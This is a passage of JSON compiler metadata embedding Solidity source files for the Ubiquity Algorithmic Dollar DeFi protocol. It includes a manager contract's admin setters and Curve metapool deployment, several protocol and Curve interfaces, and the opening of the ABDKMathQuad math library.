removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool = ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf(\\n address(this)\\n );\\n uint256 uADTokenAmount = IERC20(dollarTokenAddress).balanceOf(\\n address(this)\\n );\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts = [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0x16c9815f13f4c91de78beaecf3b0950ad2a481afd5da13d256e6575ac4dd57bc\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\\\";\\n\\n/// @title ERC1155 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC1155Ubiquity is IERC1155 {\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) external;\\n\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) external;\\n\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) external;\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) external;\\n\\n function pause() external;\\n\\n function unpause() external;\\n\\n function totalSupply() external view returns (uint256);\\n\\n function exists(uint256 id) external view returns (bool);\\n\\n function holderTokens() external view returns (uint256[] memory);\\n}\\n\",\"keccak256\":\"0x49a2cea3597a289be6297d1881a582842a021fbb69ee6703cfd74809d0e640af\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title incentive contract interface\\n/// @notice Called by uAD token contract when transferring with an incentivized address\\n/// @dev should be appointed as a Minter or Burner as needed\\ninterface IIncentive {\\n /// @notice apply incentives on transfer\\n /// @param sender the sender address of uAD\\n /// @param receiver the receiver address of uAD\\n /// @param operator the operator (msg.sender) of the transfer\\n /// @param amount the amount of uAD transferred\\n function incentivize(\\n address sender,\\n address receiver,\\n address operator,\\n uint256 amount\\n ) external;\\n}\\n\",\"keccak256\":\"0x38a8564acc4a3de67d7a53a2ddd78ac728db25651e03e3d9c13e345dfa79a7b5\",\"license\":\"MIT\"},\"contracts/interfaces/IMasterChefV2.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\nimport \\\"../MasterChefV2.sol\\\";\\n\\ninterface IMasterChefV2 {\\n struct BondingShareInfo {\\n uint256 amount; // How many LP tokens the user has provided.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n }\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\\n }\\n\\n event Deposit(address indexed user, uint256 amount, uint256 bondingShareID);\\n event Withdraw(\\n address indexed user,\\n uint256 amount,\\n uint256 bondingShareID\\n );\\n\\n function deposit(\\n address sender,\\n uint256 amount,\\n uint256 bondingShareID\\n ) external;\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(\\n address sender,\\n uint256 amount,\\n uint256 bondingShareID\\n ) external;\\n\\n // Info about a bondinh share\\n function getBondingShareInfo(uint256 _id)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n // Total amount of shares\\n function totalShares() external view returns (uint256);\\n\\n // View function to see pending SUSHIs on frontend.\\n function pendingUGOV(address _user) external view returns (uint256);\\n}\\n\\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\\n\",\"keccak256\":\"0x9a0f825d3e786f0d177915ea20663dc63c8127e3898dc786d12fc11772e6ce76\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/ISablier.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ISablier {\\n event CreateCompoundingStream(\\n uint256 indexed streamId,\\n uint256 exchangeRate,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n );\\n event PayInterest(\\n uint256 indexed streamId,\\n uint256 senderInterest,\\n uint256 recipientInterest,\\n uint256 sablierInterest\\n );\\n event TakeEarnings(address indexed tokenAddress, uint256 indexed amount);\\n event UpdateFee(uint256 indexed fee);\\n event Paused(address account);\\n event Unpaused(address account);\\n event PauserAdded(address indexed account);\\n event PauserRemoved(address indexed account);\\n event OwnershipTransferred(\\n address indexed previousOwner,\\n address indexed newOwner\\n );\\n event CreateStream(\\n uint256 indexed streamId,\\n address indexed sender,\\n address indexed recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime\\n );\\n event WithdrawFromStream(\\n uint256 indexed streamId,\\n address indexed recipient,\\n uint256 amount\\n );\\n event CancelStream(\\n uint256 indexed streamId,\\n address indexed sender,\\n address indexed recipient,\\n uint256 senderBalance,\\n uint256 recipientBalance\\n );\\n\\n function unpause() external;\\n\\n function cancelStream(uint256 streamId) external returns (bool);\\n\\n function withdrawFromStream(uint256 streamId, uint256 amount)\\n external\\n returns (bool);\\n\\n function initialize() external;\\n\\n function createCompoundingStream(\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n ) external returns (uint256);\\n\\n function addPauser(address account) external;\\n\\n function pause() external;\\n\\n function interestOf(uint256 streamId, uint256 amount)\\n external\\n returns (\\n uint256 senderInterest,\\n uint256 recipientInterest,\\n uint256 sablierInterest\\n );\\n\\n function updateFee(uint256 feePercentage) external;\\n\\n function takeEarnings(address tokenAddress, uint256 amount) external;\\n\\n function initialize(address sender) external;\\n\\n function createStream(\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime\\n ) external returns (uint256);\\n\\n function transferOwnership(address newOwner) external;\\n\\n function getEarnings(address tokenAddress) external view returns (uint256);\\n\\n function nextStreamId() external view returns (uint256);\\n\\n function getCompoundingStream(uint256 streamId)\\n external\\n view\\n returns (\\n address sender,\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 remainingBalance,\\n uint256 ratePerSecond,\\n uint256 exchangeRateInitial,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n );\\n\\n function balanceOf(uint256 streamId, address who)\\n external\\n view\\n returns (uint256 balance);\\n\\n function isPauser(address account) external view returns (bool);\\n\\n function paused() external view returns (bool);\\n\\n function getStream(uint256 streamId)\\n external\\n view\\n returns (\\n address sender,\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 remainingBalance,\\n uint256 ratePerSecond\\n );\\n\\n function owner() external view returns (address);\\n\\n function isOwner() external view returns (bool);\\n\\n function isCompoundingStream(uint256 streamId) external view returns (bool);\\n\\n function deltaOf(uint256 streamId) external view returns (uint256 delta);\\n\\n function cTokenManager() external view returns (address);\\n\\n function fee() external view returns (uint256 mantissa);\\n}\\n\",\"keccak256\":\"0x542af18e31708d4c4ac5331289a22eb74f750a754b152b661932faedbd585b43\",\"license\":\"MIT\"},\"contracts/interfaces/ITWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ITWAPOracle {\\n function update() external;\\n\\n function consult(address token) external view returns (uint256 amountOut);\\n}\\n\",\"keccak256\":\"0x363aabed248b8af1af9afffb9243afbce75e2af95afeabb1abea4dbfd73022d1\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface IUbiquityFormulas {\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) external pure returns (uint256 _shares);\\n\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uBOND);\\n\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uLP);\\n\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _priceUBOND);\\n\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n external\\n pure\\n returns (uint256 _newMultiplier);\\n}\\n\",\"keccak256\":\"0xfcdf335bdcc311c3676d3f1ff8972ad99a10cb83cfb5365b8fc1c26858bac5d1\",\"license\":\"MIT\"},\"contracts/interfaces/utils/ICollectableDust.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ICollectableDust {\\n event DustSent(address _to, address token, uint256 amount);\\n event ProtocolTokenAdded(address _token);\\n event ProtocolTokenRemoved(address _token);\\n\\n function addProtocolToken(address _token) external;\\n\\n function removeProtocolToken(address _token) external;\\n\\n function sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) external;\\n}\\n\",\"keccak256\":\"0xd0f888e6c106c2adbd077ff42607cd2e94afc45b1fbf82f16125d25e3257d0b7\",\"license\":\"MIT\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * 